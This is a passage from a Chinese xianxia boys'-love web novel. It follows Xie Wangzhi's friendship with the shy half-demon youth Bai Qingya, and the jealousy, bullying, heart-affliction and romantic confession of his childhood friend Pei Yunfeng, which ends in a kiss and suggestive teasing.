遮挡面颊的头发被撩到脑后,露出一张精致漂亮得过分的脸。浓密长睫沾着雨露,眼眶发红,玉白双颊爬着湿亮泪痕,说不出的可怜可爱。 谢妄之被哭得烦,可一看那张漂亮脸蛋,又不烦了。他稍微等了会儿,见对方还是哭,索性凑过去,把人打横抱起,带去治伤。 少年猛然睁大眼,下意识挣扎了会儿便停下,僵着身体不敢与他凑太近,双手无措地放在胸口,似是怕被他看到狰狞伤处,还强忍着疼缩进衣袖,眉心微微蹙起。 “抱紧我,掉下去了我可不管你。”谢妄之捞着对方肩背与双腿往上掂了掂。 猝不及防的失重感令少年下意识扶住他肩膀,犹豫了会儿才慢慢伸手,小心翼翼地环住他脖子。 本来把人带到医馆就好,可瞅着少年那副惨兮兮的模样,谢妄之便在医馆稍等了会儿,没急着走,看着医师给人上药。 不知裴云峰哪儿得的消息,以为受伤的是谢妄之,竟是很快便来医馆里找他,神色匆忙慌乱,手上还抱着个油纸袋。 见伤患另有其人,裴云峰轻舒口气,接着献宝似的,将油纸袋拆封递到谢妄之面前,微笑道:“谢妄之,尝尝这个,我听人家说很好吃,特意去排了好久队才买到的呢。” “这是什么?”谢妄之接过来,低头往里瞥了眼。 只见里面是一团团晶莹剔透的糕点,模样精致可爱,香气扑鼻,大概刚出炉不久,还冒着热气。 他还没准备要吃,忽然听见一声响亮清脆的“咕噜”。 他循声望去,正见坐在软榻上的少年面色微红地低下头,乌发松散垂落,又将大半张脸遮住,薄唇轻抿,明明看着有些阴郁的模样,却显得腼腆而羞赧。 “想吃吗?”谢妄之一笑,把油纸袋递到少年眼前,“拿去。” “不、不了……” 少年慌忙摇头,不住摆手,话未说完肚里又打起鼓,还拖长了音调。他浑身一僵,脑袋又埋得更深,发间露出的耳廓红得滴血,像是给个洞立刻就能钻进去藏起来。 谢妄之忍俊不禁,注意到对方手上的伤势,索性伸手进油纸袋里捏出一块,伸臂喂到人唇边,“张嘴。” “……”裴云峰微微睁大眼。 “不、不用不用不用!!”少年吓了一跳,猛地往后一缩,把头摇得像拨浪鼓,疯狂摆手,说话都磕绊。 “张嘴。”谢妄之眉心微蹙,仍举着手往前凑。只要是他想做的事,任何人都不能拒绝。 大概是被他沉下脸的模样唬住,少年没再躲,犹豫了一小会儿,像什么小动物一样,凑近试探地轻嗅几下,才慢慢张开嘴叼住。 不知道他到底饿了多久,又或许是这糕点味道确实不错,他双目发亮,近乎狼吞虎咽,吃得腮帮一鼓一鼓。 谢妄之觉得有趣,于是一连投喂了十来块,直到对方摇头不肯再吃,他才把油纸袋又还给了裴云峰。 坐在一边目睹全程的裴云峰,心情复杂得有些挂不住脸上和善的笑,捧着只剩半袋的糕点,手指无意识地攥紧,忍不住又问:“谢妄之,你不吃吗?” “你吃吧。”谢妄之干脆利落地摇头。 “……好吧。”裴云峰轻扯了下唇角,低头看着手里的油纸袋,眸光黯然。 * 后来谢妄之把少年送了回去,连续几日都不曾再碰面。 直到他又到后山树林里偷闲。 正是满月之日,圆月高悬。 他路过溪涧,遇到一条毛发乌黑亮丽的大狗,似能完美融入夜色,月光如流水般在它的皮毛上流淌。但不知为何,乌黑皮毛有几处细小的雪白空隙。 那条狗在溪涧边饮水,闻见他的足音,耳朵机敏一竖,一双琉璃眼瞳看过来,反射着清辉,发出幽绿光芒,无端叫人脊背生寒。接着弓起腰背,喉里滚出威胁般的沉闷声响。 此时它的模样威风得不像狗,更像狼一些。 但不管是狼是狗,谢妄之都是不怕的,他很想试试那身皮毛的手感,当即抬步向对方靠近。 未想大狗猛然后退,喉咙里也不“呜呜”了,没等他走近便将身一扭,眨眼钻进树林更深处。 除了作为奴隶,没有任何一个世家会在家里养一只妖,更别提在妖魔横行的北荒,白家主府各处都设有各种伏妖阵法与禁制,外面别说是妖了,连只苍蝇都飞不进来。当然,若是在府里发现,就地格杀勿论。 而谢妄之在那只大狗身上感受到些许妖气,不浓郁也不纯粹,竟能在白家好端端活到现在,相当奇怪。 他当即收敛气息追了上去,看到那条大狗没跑出多远便蹲坐下来,低头小心翼翼去舔自己的前爪。 一瞬间,他想起白家的传言,心头涌上奇怪而强烈的直觉,谢妄之没再靠近,转身便走。 等到白日,他拜托裴云峰又去买了些糕点回来,而后一头扎进树林找那条大狗。 他蹲守在那条溪涧边,直到天色微暗,大狗才从林子里出现,似是两只前爪有疾,步履蹒跚变扭,慢腾腾挪到近前,低下头去喝水。 谢妄之敛息凑近,从油纸袋里取出一团糕点放在手心里把玩,不停抛上抛下。而后吹了声口哨,吸引大狗注意,将手里的糕点丢到对方面前。 大狗又吓一跳,猛地往后退了几步,却没立刻转身就跑,鼓起勇气昂头看他,琉璃瞳发着幽幽绿光。 “好吃的,”谢妄之微抬下颌示意,又取出一团糕点丢到对方近前,“你尝尝。” “……” 大狗沉默地又与他对峙片刻,终于低下头。 棕黑色的鼻尖略微耸动,循着香气凑到地上两团糕点面前,试探地来回轻嗅,而后张嘴叼住,嚼了两下便咽进肚里,随即又抬起头,绿油油的眼睛望着他,似是渴望。 谢妄之却没再丢,而是半跪下身,冲大狗勾了勾手,另一手举起油纸袋晃了晃,低声诱哄道:“乖狗狗,过来,过来就给你吃。” 大狗在原地踌躇了会儿,终于还是慢慢靠过来,如先前一般,看着有些瘸腿的样子。 谢妄之忍不住笑,当即往手心里倒了几团,捧到大狗面前。 半途却又收回来,另手试探地伸到对方脑袋前面,跟它商量道:“我给你吃的,你给我摸,公平吧?” “嗷!”大狗昂起头,小声叫唤一句,脑袋往前一拱,轻轻撞入他手心。 “乖狗!都给你吃,都给你吃。” 谢妄之满意极了,将油纸袋拆开铺在地上,方便它吃。 接着两只手都摸上大狗乌黑亮丽的皮毛,相当滑溜地从头顶摸到了脊背,又去捏它的耳朵和尾巴,触感好到令人头皮发麻,几个来回之后根本爱不释手。 等大狗把他带来的糕点吃完,他也该走了,甚至有些不舍地跟它道别:“我走了,明天再来。” “嗷。”大狗轻拱了拱他的手心。 * 翌日,谢妄之又去了,一连跟狗玩了好几天,不止给它带糕点,还带了些鸡腿之类的荤菜。 裴云峰被他晾在一边,独自生着闷气,在得知谢妄之将自己辛辛苦苦买来的糕点都拿去喂狗以后,虽然有些委屈不解,但也没有异议。 但后来谢妄之再去林子里,怎么都找不到那条狗,只见到额前乌发遮挡住大半张脸的少年,侧躺在一棵树下休憩。 他提着油纸袋走近,还未出声,对方便已惊醒,一看是他,竟手足并用地向他爬过来。爬了两步又莫名顿住,脸颊一瞬热烫,慌忙站起身,转头就要跑。 谢妄之忍俊不禁,身影一闪便凑到对方面前,给人阻住去路,把手里的油纸袋往前一递,道:“给你。” “谢、谢谢你,我不能要……”少年睁大眼,却没接,摇头摆手往后退,嗓音软糯。 谢妄之哼笑了声,故意道:“就只是一点吃的,你要是不吃,那就要拿去喂狗了。” “好、好吧,谢谢哥哥。”少年见他坚持,便乖乖伸手去接。 “嗯。”谢妄之扫了眼对方手上的伤势,见已经恢复得差不多了,就放心让他拿着。 但少年并不马上吃,不知道顾虑什么,局促地捧着油纸袋不动。 “吃啊,趁热。”谢妄之不由蹙眉,接着勾唇调侃,“哦,是想让我喂你吗?” “不、不用不用……”少年飞快摇头,接着便低头拆封,耳廓与指尖都发红。 谢妄之便坐在人面前盯着他吃,过会儿忍不住伸手摸少年的头,从发顶往下顺到脊背,像在摸一条狗,又毫不客气地抓起对方一缕发丝缠在指尖玩弄。 少年专注吃着东西,乖巧地没躲。 “谢妄之,你在这做什么?” 吃到一半,裴云峰竟找了过来,见他们这般亲昵的模样不由微微一怔,脸上的笑都僵住。 他敛了笑,走近些,居高临下看着两人,语气不咸不淡道:“我还以为你逃课去做什么呢,不是跟我说去喂狗吗?” “是啊,在喂呢。”谢妄之懒得解释,随意回了句,低着头,手指仍缠着少年一缕发丝把玩。 “好吧,左右是些不要了的东西,怎么处理都好。”裴云峰点点头。 闻言,少年动作微微一顿,又若无其事继续吃。忽然感觉到什么,下意识抬头,正对上一双微微眯起的凤眸,眼神凉薄得叫人脊背发寒。 但一瞬之后,面前人便移开视线,又看向谢妄之,微笑着温声道:“我还有事,先走了。你别像之前一样太晚回来,省得我还要去给你开门。” 谢妄之应了声“嗯”。 之后,谢妄之没再见到那条狗,取而代之的是,少年整日偷偷摸摸跟在他身后,走到哪跟到哪。谢妄之倒没什么所谓,闲着无事就把人拉出来,摸摸少年的头,每天都热衷于投喂。 裴云峰一直跟在谢妄之身边,目睹谢妄之对少年做的一切。 但他始终不明白,谢妄之和别人的感情分明不如他们俩深厚,为什么谢妄之看上去更亲近别人一些。毕竟谢妄之从来不会摸他的头,也不会亲手喂他吃东西。 从前的他还希望谢妄之能多交些朋友,因为他觉得谢妄之值得被更多人喜欢。可是现在谢妄之当真交了别的朋友,他并没有想象中的欣慰,只觉得烦躁焦虑。 甚至,其实在医馆里见到那个少年的第一眼,他已经觉得不安,而第二次见到谢妄之和少年待在一起时,他已不自觉地对人产生敌意,并且隐晦地向人炫耀他和谢妄之有多亲密。 原来他并非真心希望谢妄之交更多的朋友,他一直享受着“谢妄之唯一的朋友”这个身份,他享受着谢妄之对他的特殊唯一的在意。 可是现在他对谢妄之来说,好像不是特别的唯一了,他在失去。这令他焦躁恐慌。 不安的情绪日积月累,直到盈满胸口,最后只要随便再来一件微不足道的事就能溢出爆发。 他向来受师长器重,偶尔会被拜托一点小事,通常是去城镇买些上课要用的材料,都是先生依据教学情况临时起意,白家并未事先准备。 那日,谢妄之恰好也托他再买些糕点,不用问都知道是给谁买的,但他没有拒绝。 未想到临时发生了点意外,总之,最后他没能完成师长交给他的任务。而谢妄之托他买的糕点已经售罄,他便买了另一种,结果害得少年夜里发起高热,谢妄之一直陪在对方身边照顾。 他自责、愧疚,埋怨自己怎么连件小事都做不好。 与此同时,他也觉得委屈、不满,甚至怨恨,心里一直隐约存在的声音变得清晰——凭什么一个来路不明的人,也可以分走谢妄之的注意? 从此之后,他看那个少年越发不顺眼,直到谢妄之又一次为了少年而将他忽略时,他终于无法忍受。 他特意避开谢妄之,却借着对方的名头,把少年约到僻静处。 而少年心性单纯,并未起疑,欣然赴约。却见裴云峰从暗处走出,身后跟着的是曾经欺侮过少年的几个纨绔。 他立刻知道自己上当了,仓皇后退,可裴云峰带着人,不可能轻易让他逃掉。 少年被几人合力制住胖揍一顿,最后被按在了地上,脸颊陷进淤泥,浑身沾满脏污,像一条砧板上的鱼不住徒劳挣扎,最终还是任人宰割。 裴云峰则一身整洁,整个过程根本不必亲自出手,末了才用干净靴履轻踢了踢他的脸,居高临下地讥讽道: “我听说,你母亲是妖,而你是只半妖。呵,这么下贱的东西,当个奴隶我都嫌脏,怎么也有脸靠近谢妄之?” 素有仁善之名、光风霁月的裴大公子,第一次如此赤裸地展露恶意,竟阴鸷得叫人脊背发寒。 未想到,对方把他的话当成耳旁风,挑衅一般变本加厉,愈加亲近谢妄之。而谢妄之并不拒绝。 后来,课业基本完成,游学即将宣告结束,众人难得轻松些,忽有人自称淘了些“新奇宝贝”,邀少年们同去后山小树林品鉴。 裴云峰人缘好,对方亲自来邀。他其实也有些兴趣,同时也不想让谢妄之和那碍眼的少年独处,便应了,还强把谢妄之拉了去。 未想到,那堆新奇玩意儿里竟混了本有关龙阳之好的图册。 众人抵不住好奇,摊开赏阅,最后恼羞成怒哄散开去时,裴云峰还有些回不过神,只觉身体热烫,头晕目眩,耳畔擂鼓声阵阵,茫然地抬手按住自己胸口。 接着肩膀被人轻轻撞了一下:“发什么呆呢?不走吗?” 裴云峰闻声转头,正见谢妄之站在他身侧,与他相距不过一拳,微侧着脸看他,轮廓线条锋利流畅,落了点金色光斑。 少年已经逐渐长开,瞧着虽还有些青涩稚嫩,但眉宇间已显露出一股锋锐英气。利落修身的黑衣黑裤衬得人身形愈发颀长俊秀,英姿飒爽,似一柄宝剑微微出鞘。 刚与众人看过那奇怪的图册,谢妄之大概也有些害羞,脸颊与耳廓染上薄红,透出少年人独有的纯情生动,叫人移不开眼。 裴云峰从来都知道谢妄之生得好看,但先前从未有任何一个时刻如现在这般认知清晰深刻,以至于他的脑中只剩下一个念头——亲吻那两片唇。 但他丝毫不敢付诸实践,强捺下糟糕念头勉强一笑:“没事,走吧。” 结果,当晚他就梦见了谢妄之,而白日清醒过来感受到胯间微微湿凉,更令他如遭雷击。 他一时间不敢面对自幼长大的玩伴,索性躲了两日,直到游学正式结束,他们该走了。 那少年见谢妄之要走了,果然又缠着他,伸手依依不舍拉着他的衣袖轻晃,眼巴巴软糯糯地问:“哥哥,你以后还会来么?能不能不要走啊?” “放心,还会来的。对了,你家有只狗挺可爱的。”谢妄之一笑,伸臂把少年揽进怀里,又把人头发揉乱,“如果你见到那只狗,替我好好问候一下吧。” “……好。”少年面色微红,又乖乖点头,“我会等哥哥的。” 裴云峰沉默看着,脸上还挂着和善的微笑,暗地里却是快将银牙咬碎。 即便离开白家,谢妄之偶尔也能收到少年寄来的书信,多是嘘寒问暖,跟他分享自己的日常生活,总还捎带些特产。 从对方写信时提及的事情,以及文笔、口吻的变化,还有寄信过来的频率,谢妄之能明显感觉到少年在逐渐成长。 当然,与此同时,他也发现自己从小的玩伴竟开始有了自己的心事,有不愿与他分享的秘密。 他傲慢又自我,一向不顾别人的感受。可与别人相比,这位玩伴是不同的。他会在意裴云峰。 不知道为什么,从白家游学回来之后,裴云峰变得有些奇怪。 先是偶尔与他视线相撞时会匆匆避开,再是斗法切磋被他弄伤时,会拒绝让他帮忙上药。 甚至,他给对方递一杯茶,两人指尖不小心相触,裴云峰会反应奇快奇大地迅速松手退开,要不是谢妄之眼疾手快扶住,茶水都得泼出来。 几次之后,谢妄之总结了规律:裴云峰现在会很刻意地避开与他的肢体接触,若是不小心碰到了,反应会很大。 谢妄之不解,但这些都是无所谓的小事,并未放在心上。 结果发展到后头,裴云峰不肯再见他。 可他们从来都是亲密无间,一起玩闹、修炼、外出捉妖,别说是上药、递茶这样的事,就是一同沐浴相互帮着搓背也干过不少。 而裴云峰这样避着他,他觉得很不习惯,也很别扭。通过回忆,很快他就察觉出,问题出在看过那本图册之后。 ……原来如此。 他要和裴云峰促膝长谈。 而另一边,因为太荒唐的甚至愈演愈烈的想法,裴云峰已经躲了谢妄之好几天。 直到某日,他好端端窝在自己院子里晒太阳,忽然看见谢妄之翻过院墙,从天而降,眨眼到他面前,开门见山道:“谈谈。” “谢、谢妄之!” 裴云峰陡然被吓一跳,险些从椅子上蹦起来。他下意识又避开对方视线,假装日光太刺眼,抬手挡在眼前,磕绊道:“好,谈、谈,要谈什么?” “关于那本图册。”对方言简意赅。 裴云峰瞳孔骤缩,轻咽了口唾沫,又缓缓深吸口气才道:“……你、你说吧。” 对方并未马上答话,似乎在斟酌语言。 而裴云峰安静等着,心脏却焦灼得快要从胸口蹦出来,无法控制地开始胡思乱想,甚至生出一种隐秘的期待。虽然他也分不清自己在期待些什么。 他忍不住抬眼偷觑对方的表情,却见人敛容正色,似乎要与他商议什么大事,不由惊恐。 坏了,难道谢妄之发现什么了? 一瞬间,千百种后果都在脑中预演,他顿时呼吸紊乱。 然而,在他还在胡思乱想的时候,谢妄之语气认真地开口道:“我没有那样的想法,你别担心。” “……” 空气静默,裴云峰的心跳好像也停滞了一瞬,甚至微微抽疼。 他扯了扯嘴角,竟不知道自己该做出什么样的表情,哑声回道:“……我知道了。” 心障便从此刻生成。 * 第二次去白家游学是在两年后,裴云峰还是与谢妄之同去。 再见到那个少年时,对方已经是尊贵的白二公子,利落束起乌发,露出漂亮的脸,着一袭织金雪衣,气质清冷而矜贵。修为也大有长进,仅两年便跻身同辈前列,无人胆敢再欺负他。 不过短短两年,白青崖实在变化太多,也转了性,除去还和以前一样喜欢跟着谢妄之,已不再亲昵地叫他“哥哥”。谢妄之虽然有些遗憾,但也没有太在意。 此时的白青崖不再需要偷偷摸摸,他可以名正言顺地站在谢妄之身边,与对方一同上课、用饭。而裴云峰再是不满,迫于无奈,也只得接受白青崖的加入。 曾经欺凌过的人,和最好的朋友成为了朋友,该怎么办? 裴云峰害怕那件事暴露,不愿也不敢破坏自己在谢妄之心目中的形象,开始伪装。而白青崖好像也忘记裴云峰曾欺凌威胁自己的事,并未告状。 可眼看着两人如从前一般亲密,自己时常会被谢妄之忽略,裴云峰开始明显地感觉到心脏抽痛。 起初频率不高,他并不在意,直到某一次,他在静室修炼时忽然感觉到胸口抽痛,经脉运转的灵力流一瞬间停滞,甚至险些逆行,他终于觉出不对劲,寻了医师诊治才知,自己不知不觉竟生了心障。 心障,无药可医,每时每刻都有可能发作。一旦发作,经脉灵力流概率停止运转,甚至逆行,进而走火入魔,丧失理智。 妖与魔,从来都是为世所不容的存在。裴云峰若是就此入魔,只会遭到修仙界的围剿,原先是什么尊贵身份都不好使。 裴云峰一向是同辈中的佼佼者,自小负有天才之名,因心障修炼受阻,甚至不能再修炼,修为只能就此长久停滞,令他相当挫败。 而谢妄之大约是天才中的天才,好像从未遇到瓶颈,一直稳压他一头。如今他生了心障,两人的修为境界开始逐渐拉开差距。 过去总拿他和谢妄之比较的人又凑上前来冷嘲热讽,他面上微微一笑,不作理会,实际心口像是被掐住,呼吸都困难。 但更令他无法接受的是,明明两年前还是个小废物的白青崖,竟转眼就追上了他。 在众人齐聚的场合,他勉强维持体面,微笑向人道了声“恭喜”,心脏却不停抽搐,他硬生生忍下,额头与脊背俱是一片冷汗。 与谢妄之差了整整一个境界之后,对方已不再来找他切磋,转而去找了白青崖。 他忍不住去观战了。 白青崖毫不意外落败,低下头道:“我修为不如裴公子。” 而谢妄之毫不吝啬地夸赞:“怎会?你很厉害。他现在……算了。” 躲在暗处的裴云峰,忍不住伸手按住自己胸口,只觉有一只无形的手掌狠狠掐住了他的心脏。 课业进行到期中,先生忽然很喜欢令他们组队完成任务,还会有积分排名。 以往这种要求组队的任务,裴云峰都是和谢妄之一起的,最后得分不出意外也是他们组最高。 他下意识转头看谢妄之,可紧接着,他立刻意识到,自己的心障随时都有可能发作,他或许会成为谢妄之的累赘。他犹豫了。 与此同时,白青崖也邀请了谢妄之。 但谢妄之没有立刻答应,微蹙着眉来回看他们,似在比较。 见状,裴云峰忽然想到谢妄之说的那句“算了”,莫名感到一阵恐慌,胸口又抽痛起来,脊背漫出一片冷汗。 他强捺下痛,轻扯了下唇角,替人做了决定:“没关系,你和白青崖一组吧。” “好。”谢妄之微微抿唇,没有异议。 明明是自己做的决定,但听见谢妄之说的那一声“好”,裴云峰呼吸凝滞一瞬,痛得几乎想把心脏生生剜出来。 组队任务是外出除妖,而裴云峰没有和任何人组队,独自行动。他像是一道影子,默默跟在谢妄之两人身后。 为避免被人发现,他不敢离太近。只看见他们凑在一起说话,嘴唇翕动着,却不知说了什么,除妖过程中配合也很默契,最后毫无意外得了最高分。 而组队回来以后,两人身上更是笼罩着一股外人无法轻易融入的氛围。 明明裴云峰还是和他们待在一起,可明显另两人最近阶段私下相处的时间更多了,他感觉自己有些接不上话题,甚至偶尔听不明白他们在说什么。 明明他们的座位挨在一起,却像是隔了厚厚的壁。 后来的日子更是难过。 又一次组队任务,谢妄之毫不犹豫选了白青崖,他终于崩溃,再挂不住微笑的假面,落荒而逃。 分明只是件小事,他不知原来自己竟如此小气,也开始后悔来参与这次游学,可该死的游学竟然还要持续两个月。于是他在逃课的第七日提交了退学申请。 他不再去上课,尽量避免与他们碰面,终日游荡在后山的树林。心障无法医治,得不到缓解,他每时每刻都有入魔的风险。现在只有自然的环境能带给他片刻寂静安宁。 期间谢妄之有来找过他,身边却还跟着那个碍眼的白青崖。 他一见到两人在一起,心脏就痛得要发疯,根本不管谢妄之说了什么,毫不犹豫扭头就走。 他接受不了谢妄之对两个朋友的关注失去平衡;接受不了他们有自己不知道的秘密,自己无法融进他们的氛围;接受不了自己偶尔缺席时,白青崖堂而皇之地取代他的位置,而谢妄之对一切都表现得浑不在意,好像他可有可无,随便就能找到替代品。 第一次为恶,为谢妄之。第一次自卑嫉妒,为谢妄之。第一次生出旖旎情思,第一次心境动摇、迷失自我乃至自暴自弃,统统是为谢妄之。 他被困在名为谢妄之的笼中,逃不出这方寸之地。 他接受不了谢妄之成为他整个世界的唯一中心,而自我被无限欺压到边境。 更接受不了对此束手无策、无可奈何,却还嫌不够、甘之如饴的他自己。 心障愈发坚固,牢不可催。 逃课的第十五日,他提交的退学申请终于获得批准,回屋收拾行李准备回家。 曾经不管是去哪里游学,或是做别的事,他和谢妄之总是一起行动,共同进退,以后……罢了。 裴云峰轻叹口气,刚跨出门槛,一抬眼便见院子里多了一道人影。 第23章 “想得快疯了。” 那是谢妄之。 他背对着裴云峰站在花荫下,不知站了多久,像是在等人,闻见足音才微向后侧过脸,鬓边垂落的发丝轻轻拂过锋锐流畅的颌角。难言的俊。 裴云峰瞥了眼便收回目光,故作冷漠地径直往门口去。 “站住。”谢妄之微微蹙眉,大步追上去,“去哪里?” 他伸手试图抓住裴云峰手臂,未想还没碰到便被人猛地拍开,发出一声清脆的响,“别碰我!” “……”谢妄之眉头蹙得更深,沉默地盯着对方看。 虽是打开他手臂,但裴云峰到底站住没再走。脸颊故意撇向另一侧,连余光都赌气地不肯给他半分。 可从谢妄之的角度,能清晰瞧见裴云峰长睫颤抖,眼眶与耳廓都发红,薄唇紧抿着。分明才对别人发脾气,却浑身上下都写满了委屈,像是一只炸了毛的小狸奴。 以他们这么多年的交情,谢妄之看出这是还能商量的意思。他低声重复问:“你要去哪里?” “爱去哪去哪,你管不着。”对方冷笑了声,语气差劲。 ……能商量,但不多。 谢妄之顺势道:“若我偏要管呢?” 未想他这一句仿佛落入草原的火星,瞬间引燃一片。裴云峰猛地转脸看他,怒不可遏地大吼道:“你管我做什么,去找白青崖啊!” “……”谢妄之被吼得一怔,只觉莫名其妙,不由微微沉下脸,“好端端的,你提他做什么?关他什么事?” “……呵。”吼完一句,不知是冷静了些,还是失望透顶了,裴云峰轻扯了下唇角,笑容又苦又冷,随即背过身去,只肯给他看个后脑勺。 见人不答,好像还更生气了,谢妄之只好换个问题:“我听说你要退学,为什么?” “不为什么,不想学了。”对方答得随意又敷衍。 “为什么不想学了?”谢妄之不由蹙眉,“那你要走也不跟我说一声,为什么?你以前从来不这样。” “哪来那么多为什么?我为什么一定要跟你说呢?”裴云峰又笑,侧头看他,眼中满是嘲讽,“再说了,以前是以前,现在你忙得很,哪有空管我呀?” 对方一直答非所问、拐弯儿抹角,谢妄之不由面色更沉,连名带姓、几乎有些咬牙切齿地叫他:“裴云峰。” “……哼。” 见他当真有些动怒,裴云峰又不说话了,心里更是委屈,又把头转回去,鼻腔轻轻溢出一声冷哼。 剑拔弩张的气氛微微和缓,谢妄之见对方态度软下来,也捺住脾气低声道:“我没有很忙,我找过你。” “……” 尽管谢妄之没说什么,但语气平稳和缓,裴云峰硬生生从中品出几分哄人的意思,话音一落就感觉自己的眼眶与鼻头微微发酸,心里的委屈不满像潮水一样淹没他头顶。 一瞬间,他忍不住想向谢妄之控诉甚至哭诉什么,可张了张嘴,声音却发不出,喉咙里艰涩得像是吞了石子。 仅剩的一点自尊与矜持令他说不出口。而且就算他说了又能如何呢? 他微闭了闭眼,尽量维持平稳声线道:“对不起,其实没什么事,我只是在胡乱发脾气……你走吧。” 说是如此,他的声音却哑得厉害。谢妄之竟一下转到他面前来,双目紧盯着他看,惊得他猛地低头避开视线。 谢妄之微蹙着眉道:“裴云峰。” “……”裴云峰抿唇没应,长睫却如蝶翅微微颤动,很快就被雨露打湿,黏连了几簇。 “说话。”谢妄之催促。 “……” 犹豫挣扎了片刻,裴云峰终于轻叹口气,伸手按在自己胸口,尽量平静地道:“我这里有时候会疼,去找医师看过,他说我生了心障。” “嗯,然后呢?”谢妄之应声,语气没有波澜,“为什么会这样?” “因为——” 裴云峰张了张嘴,半途又把话咽回肚子里。 时至今日,他自己早就分辨出会生出心障的原因。可是要他怎么说呢? 说他嫉妒谢妄之修为升太快,自己追不上很自卑?还是说他不喜欢白青崖,看到他们两人在一起自己就要疯? 又或者是说,他对自小一起长大的、同为男性的玩伴生出龌龊心思,每时每刻都在肖想,却永远无法宣之于口,甚至早就被拒绝过,因爱而不得郁郁寡欢? 无论说什么,他好像都会离面前这个人越来越远,让他怎么说呢? 他不由苦笑。可过了会儿,心中又突然生出强烈的破罐破摔的冲动,竟是忍不住直截了当道:“因为你。” “我?为什么?”对方似是意外不解,眉峰轻挑。 既然已经决定豁出去,裴云峰也不再隐忍掩饰。 他抬眼看向谢妄之:“你还记得,我们曾经一起看过那本春宫图册吗?看完之后我就一直躲着你,直到你来找我,说要和我谈谈。” 见对方轻轻点头,他忍不住勾唇一笑,“那你知道我为什么会躲着你吗?” 不等人答话,他便自顾接下去,笑容扩大了些,却带着卑劣嘲讽的恶意:“因为,看过那本图册之后,我就开始想你,我也想对你做那些事。” 他双目紧盯着对方,说着抬步一寸寸逼近,微微压低嗓音,眼中嘲讽与恶意更甚: “我想亲你,抱你,脱你的衣裳,更进一步,弄到你忍不住哭……我每时每刻都在想,想得快疯了。可是你告诉我,你没有那样的想法,让我不要担心,呵……谢妄之,从那时候开始,我这里就在疼了。” 他按着自己的胸口,那里确实又开始抽搐。他捺下疼继续道: “我不敢叫你知道,努力装作和以前一样对你。可是看着你和白青崖那么亲近,我就忍不住会想,你不愿意和我做这些事,那和他会吗?你会喜欢他吗?呵,我一想到这些我就嫉妒得发疯……我也想让你喜欢我,可是我没办法。因为,我好像,再也追不上你了……” 他站住脚,自嘲一笑,倏然往后退了一步,撇开头冷声道:“好了,现在你都知道了。真抱歉啊,我是这么恶心的人。我们没什么好说的了,你可以走了。” 空气静默,他垂下眼,只觉胸口痛得快窒息。 忽然,对方开口问:“真的吗?你的心障,只是因为这个?” 裴云峰自嘲勾唇,声音低哑,“是啊,只是因为这个。”他就是这么没出息。 眼前忽然压下一片阴影。谢妄之道:“裴云峰,看我。” 而裴云峰无动于衷,像是面对灼目的日光,更深地埋下头。又似是被灼伤,眼睫难受地颤动,愈加湿润。 未想到,下颌忽被人伸手掐住,迫他抬头,径直撞入一双寒星般的眼眸。谢妄之伸手挑起他的下颌,微勾着唇角,道:“我能帮你。” 不等他反应,那张俊脸陡然在眼前放大,浅淡清幽的花木香气钻入鼻腔。唇上传来柔软触感,微微的湿热气息雨一般淋在脸上。 他浑身僵住,瞳孔颤动着放大,只愣愣盯着近在咫尺的面庞,眼神失焦涣散,眼尾却不断滑下湿痕。 还未品出他日思夜想的唇是什么味道,对方便已撤开,如蜻蜓点水,温热指腹却轻抚过他眼角。 他不知道自己现在是什么模样,竟能把人逗笑,随即低声问:“还要吗?” 对方在问,可他根本回不过神,舌头像是打结说不出话,眼泪瞬间汹涌,只能颤抖着指尖去捉对方衣襟,“谢、谢……呜……” 视野被一双温热手掌遮住,陷入昏暗,唇上逝去的柔软却失而复得。他浑身僵硬颤抖,只敢捉住那一小片衣襟,连呼吸都屏住,怕惊扰这场美梦。 双唇紧密贴着,可他渐渐憋不住气了,忍不住微微张了嘴。却有一条小鱼顺着连接的水域游入他口腔,摇头摆尾着撩拨他的舌尖,鳞片柔软而湿滑。 他不停发抖,只觉身周空气变得稀薄,剧烈地喘息却还是不够,头脑缺氧晕眩,耳畔一阵阵嗡鸣,只知本能地纠缠和吮吸。 明明泪水流到嘴里,尝起来又苦又涩,可混着对方的气息,竟变得甜蜜,令他忍不住不停索取、吞咽。 “够了?” 直到对方将他松开,他仍回不过神,双眼重见光明,却好似天地中只剩下眼前一人,只剩下那两片湿润的唇,还有嘴角那道银亮的丝线,馥郁艳丽得他移不开眼。 他还喘不过气,说不出话,浑身热烫得快要晕厥,却固执地不肯松手,指尖收紧,而后在人含笑的眼神中,捺住羞耻轻轻摇了下头。 但对方没有马上允他,眸中笑意更深。他只觉羞恼,也等不及,就主动贴上去,逐渐贪婪而痴迷。 直到舌头发麻,他仍不满足,对方却轻抓着他的头发将他扯开,低笑着调侃:“除了亲我,你不是还说了别的么?” “不、不是!不是不是,我没、我没有……” 这一句令裴云峰如梦初醒,他陡然睁大眼,身体僵住,随即猛地往后急退,慌乱地摇头又摆手,几乎语无伦次。 又像是避开刺眼日光,偏过头,伸手挡着脸,却无济于事,脸颊与耳廓染上艳丽绯色,热烫得仿佛脑袋上都能升起一缕白烟。 “是吗?” 谢妄之又笑,抱臂不疾不徐地逼近,看着对方无措地不住往后避让,直到退无可退,脊背抵上了院墙。 他站住脚,视线在人身上逡巡,缓慢往下,停了一瞬又看向对方的脸。伸指点了点,微笑道: “可是,你起势了。” 第24章 羞得快哭。 裴云峰睁大眼,身体一瞬热烫得快晕厥,只得微微弓起背,试图掩饰一二,又抬手捂住脸低声哀求,“谢、谢妄之,别看我,求你……” 谢妄之却置若罔闻,甚至抬步凑近,勾唇故意道:“怎么说得跟没见过似的?” “那、那也是小时候的事了!”裴云峰愈加羞恼,小声辩驳了一句。 “嗯。”谢妄之神色不变,浅淡应了声,而后语出惊人,“那现在不能看了吗?” “……”裴云峰一下怔住,双眸颤动着放大,随即两只手都捂住自己的脸,像是要把自己藏到地里去,隐在发间的耳廓红得快滴血。 谢妄之忍俊不禁,还未继续说话逗他,忽听人小声嗫嚅道:“能、能看,但是,要、要去屋里……” “……”本意只是开个玩笑,未想对方当真回答,谢妄之微微一顿,抿起嘴唇默了会儿才点头,“那就进屋。” 两人这次没住一起,这处院落只有裴云峰一个人住。他才整理好行李,顺带收拾了一番,此时屋子里只有些简单摆设,虽是干净无尘,但看上去空落落的,毫无生活气息。 谢妄之扫了眼,忍不住眉峰一挑,嘲讽道:“你倒收拾得挺干净,手脚这么快啊。有这么急着走吗?” “我……” 走在前头的裴云峰动作一顿,回头瞥了他一眼,似嗔似怨,回嘴道:“那白青崖呢?你们不是时时刻刻在一起么?” 谢妄之不解对方为什么又提到白青崖,但还是回了一句:“他有事。” 